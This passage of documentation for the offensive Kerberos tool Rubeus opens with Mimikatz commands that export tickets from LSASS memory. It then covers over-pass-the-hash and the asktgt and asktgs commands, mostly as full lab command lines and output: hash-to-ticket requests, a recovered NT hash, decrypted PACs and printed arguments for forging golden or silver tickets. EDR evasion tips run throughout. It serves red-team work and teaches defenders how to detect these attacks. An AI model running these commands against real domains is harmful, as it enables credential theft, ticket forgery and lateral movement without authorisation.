Mimikatz can perform the same base64 .kirbi extraction with the following series of commands:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
Mimikatz can also carve tickets directly out of LSASS' memory with:
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
As "everything is stealthy until someone is looking for it", it's arguable whether LSASS manipulation or ticket extraction via the LsaCallAuthenticationPackage() API call is more "stealthy". Due to Mimikatz' popularity, opening up a handle to LSASS and reading/writing its memory has become a big target for EDR detection and/or prevention. However, LsaCallAuthenticationPackage() is used by a fairly limited set of processes, and creating a fake logon application with LsaRegisterLogonProcess() is also fairly anomalous behavior. However full API level introspection and baselining appears to be a more difficult technical problem than LSASS protection.
#### Example: Over-pass-the-hash
Say we recover a user's rc4\_hmac hash (NTLM) and want to reuse this credential to compromise an additional machine where the user account has privileged access.
**Sidenote:** pass-the-hash != over-pass-the-hash. The traditional pass-the-hash technique involves reusing a hash through the NTLMv1/NTLMv2 protocol, which doesn't touch Kerberos at all. The over-pass-the-hash approach was developed by [Benjamin Delpy](https://twitter.com/gentilkiwi) and [Skip Duckwall](https://twitter.com/passingthehash) (see their ["Abusing Microsoft Kerberos - Sorry you guys don't get it"](https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it/18) presentation for more information). This approach turns a hash/key (rc4\_hmac, aes256\_cts\_hmac\_sha1, etc.) for a domain-joined user into a fully-fledged ticket-granting-ticket (TGT).
Let's compare "over-passing-the-hash" via Mimikatz' `sekurlsa::pth` command verus using the `asktgt` command from Rubeus (or [Kekeo](https://github.com/gentilkiwi/kekeo/) if you'd like).
When `sekurlsa::pth` is used to over-pass-the-hash, Mimikatz first creates a new [logon type 9 process](https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#L926) with dummy credentials - this creates a new "sacrificial" logon session that doesn't interact with the current logon session. It then opens the LSASS process with the ability to write to process memory, and the supplied hash/key is then [patched into the appropriate section](https://github.com/gentilkiwi/mimikatz/blob/a0f243b33590751a77b6d6f275313a4fe8d42c82/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c#L566-L600) for the associated logon session (in this case, the "sacrificial" logon session that was started). This causes the normal Kerberos authentication process to kick off as normal as if the user had normally logged on, turning the supplied hash into a fully-fledged TGT.
When Rubeus' `asktgt` command is run (or Kekeo's equivalent), the raw Kerberos protocol is used to request a TGT, which is then applied to the current logon session if the `/ptt` flag is passed.
With the Mimikatz approach, administrative rights are needed as you are manipulating LSASS memory directly. As previously mentioned, Mimikatz' popularity has also led to this type of behavior (opening up a handle to LSASS and reading/writing its memory) being a big target for EDR detection and/or prevention. With the Rubeus/Kekeo approach, administrative rights are not needed as LSASS is not being touched. However, if the ticket is applied to the current logon session (with `/ptt`), the TGT for the current logon session will be overwritten. This behavior can be avoided (with administrative access) by using the `/createnetonly` command to create a sacrificial process/logon session, then using `/ptt /ticket:X /luid:0xa..` with the newly created process LUID. If using Cobalt Strike, using the **make\_token** command with dummy credentials and then **kerberos\_ticket\_use** with the ticket retrieved by Rubeus will let you apply the new TGT in a way that a) doesn't need administrative rights and b) doesn't stomp on the current logon session TGT.
It is our opinion that the LSASS manipulation approach is more likely (at the current moment) to be detected or mitigated due to the popularity of the technique. However the Rubeus approach does result in another piece of detectable behavior. Kerberos traffic to port 88 should normally only originate from lsass.exe - sending raw traffic of this type from an abnormal process could be detectable if the information can be gathered.
**Sidenote**: one way _both_ approaches can potentially be caught is the previously mentioned "encryption downgrade" detection. To retrieve AES keys, use Mimikatz' `sekurlsa::ekeys` module to return ALL Kerberos encryption keys (same with `lsadump::dcsync`) which are better to use when trying to evade some detections.
## Ticket requests and renewals
Breakdown of the ticket request commands:
| Command | Description |
| ----------- | ----------- |
| [asktgt](#asktgt) | Request a ticket-granting-ticket (TGT) from a hash/key or password |
| [asktgs](#asktgs) | Request a service ticket from a passed TGT |
| [renew](#renew) | Renew (or autorenew) a TGT or service ticket |
| [brute](#brute) | Perform a Kerberos-based password bruteforcing attack. 'spray' can also be used instead of 'brute' |
| [preauthscan](#preauthscan) | Preform a scan for accounts that do not require Kerberos pre-authentication |
### asktgt
The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (`/rc4`, `/aes128`, `/aes256`, or `/des`). A `/password` flag can also be used instead of a hash - in this case `/enctype:X` will default to RC4 for the exchange, with `des|aes128|aes256` as options. If no `/domain` is specified, the computer's current domain is extracted, and if no `/dc` is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The `/luid:0xA..` flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.
Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the `/ptt` option. A workaround is to use the `/createnetonly:C:\X.exe` parameter (which hides the process by default unless the `/show` flag is specified), or request the ticket and apply it to another logon session with `ptt /luid:0xA..`.
By default, several differences exists between AS-REQ's generated by Rubeus and genuine AS-REQ's. To form AS-REQ's more inline with genuine requests, the `/opsec` flag can be used, this will send an initial AS-REQ without pre-authentication first, if this succeeds, the resulting AS-REP is decrypted and TGT return, otherwise an AS-REQ with pre-authentication is then sent. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the `/opsec` changes, the `/force` flag exists.
PKINIT authentication is supported with the `/certificate:X` argument. When the private key within the PFX file is password protected, this password can be passed with the `/password:X` argument. When using PKINIT authentication the `/getcredentials` flag can be used to automatically request a U2U service ticket and retrieve the account NT hash.
Requesting a TGT without a PAC can be done using the `/nopac` switch.
Using a KDC proxy ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) to make the request is possible using the `/proxyurl:URL` argument. The full URL for the KDC proxy is required, eg. https://kdcproxy.exmaple.com/kdcproxy
The `/nopreauth` flag can be used to send an AS-REQ without pre-authentication. The `/service:SPN` argument can be used to request service tickets using AS-REQ's directly, it will take an SPN or a username.
Requesting a ticket via RC4 hash for **dfm.a@testlab.local**, applying it to the current logon session:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
Requesting a ticket via aes256_hmac hash for **dfm.a@testlab.local**, starting a new hidden process and applying the ticket to that logon session. **Note: elevation needed!**
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
**Note that the /luid and /createnetonly parameters require elevation!**
Requesting a ticket using a certificate and using `/getcredentials` to retrieve the NT hash:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : krbtgt/rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 14/07/2021 02:25:33
EndTime : 14/07/2021 12:25:33
RenewTill : 21/07/2021 02:25:33
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
### asktgs
The **asktgs** action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT `/ticket:X` supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The `/ptt` flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more `/service:X` SPNs **must** be specified, comma separated.
The supported encryption types in the constructed TGS-REQ will be RC4_HMAC, AES128_CTS_HMAC_SHA1, and AES256_CTS_HMAC_SHA1. In this case, the highest mutually supported encryption will be used by the KDC to build the returned service ticket. If you want to force DES, RC4, or AES128/256 keys, use `/enctype:[RC4|AES128|AES256|DES]`.
In order to request a service ticket for an account using an enterprise principal (i.e. *user@domain.com*), the `/enterprise` flag can be used.
By default, several differences exists between TGS-REQ's generated by Rubeus and genuine TGS-REQ's. To form TGS-REQ's more inline with genuine requests, the `/opsec` flag can be used, this will also cause an additional TGS-REQ to be sent automatically when a service ticket is requested for an account configured for unconstrained delegation. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used.
To play with other scenarios manually, `/tgs:X` can be used to supply an additional ticket which is appended to the request body. This also adds the constrained delegation KDC option as well as avoids dynamically determining the domain from the given SPN `/service:X`, for this reason the `/targetdomain:X` argument has been implemented to force the request to use the supplied domain which is useful for requesting delegated service tickets from a foreign domain or tickets with usual SPNs.
The `/u2u` flag was implemented to request User-to-User tickets. Together with the `/tgs:X` argument (used to supply the target accounts TGT), the `/service:X` argument can be the username of the account the supplied TGT is for (with the `/tgs:X` argument). The `/targetuser:X` argument will request a PAC of any other account by inserting a PA-FOR-USER PA data section with the `target user's` username.
The `/printargs` flag will print the arguments required to forge a ticket with the same PAC values if the PAC is readable. This could be done by supplying the `/servicekey:X` argument or performing a `/u2u` request with a known session key.
Using a KDC proxy ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) to make the request is possible using the `/proxyurl:URL` argument. The full URL for the KDC proxy is required, eg. https://kdcproxy.exmaple.com/kdcproxy
The `/keyList` flag was implemented for Kerberos [Key List Requests](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/732211ae-4891-40d3-b2b6-85ebd6f5ffff). These requests must utilise a forged partial TGT from a read-only domain controller in the `/ticket:BASE64|FILE.KIRBI` parameter, further details on this forged TGT in the [golden](#golden) section. Furthermore, the `/spn:x` field must be set to the KRBTGT SPN within the domain, eg. KRBTBT/domain.local.
The **asktgs** action also supports requesting service tickets via the Kerberos authentication package using LSASS. This mode of operation can be enabled by omitting the `/ticket` argument. By default, the TGT associated with the current logon session is used. An alternative logon session can be targetted by supplying the `/luid:xxx` argument. Local administrator privileges are required when targetting other logon sessions. Currently, only simple service tickets can be requested via LSASS. Arguments for features such as S4U2Self, U2U, key list and KDC proxy are ingnored. Requesting service tickets via LSASS can often be more opsec friendly, since Kerberos traffic will originate from LSASS. This mode is also required for scenarios where Credential Guard / Remote Credential Guard is active, since dumping TGT's with credential guard is not possible.
Requesting a TGT for dfm.a and then using that ticket to request a service ticket for the "LDAP/primary.testlab.local" and "cifs/primary.testlab.local" SPNs:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
Requesting a service ticket for an AES-enabled service account, specifying that we _only_ support RC4_HMAC:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
Requesting a user-to-user service ticket and including the *PA for User* PA-DATA section (an S4U2self request), it is possible to get a readable PAC for any user:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==
ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : ccob@rubeus.ghostpack.local
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
If the PAC can be decrypted (by using a user-to-user request or by passing the `/servicekey`) is it possible to print the arguments required to forge a ticket containg the same PAC values:
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 23:00:38
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 8
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ClientName :
Client Id : 19/07/2021 23:57:46
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : harmj0y@rubeus.ghostpack.local
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
Using PKINIT to request a TGT and then requesting a user-to-user service ticket to gain access to the NTLM hash stored within the PAC (manually performing the `/getcredentials` flag to **asktgt**):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
ServiceName : harmj0y
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 19/07/2021 23:01:05
EndTime : 20/07/2021 09:00:38
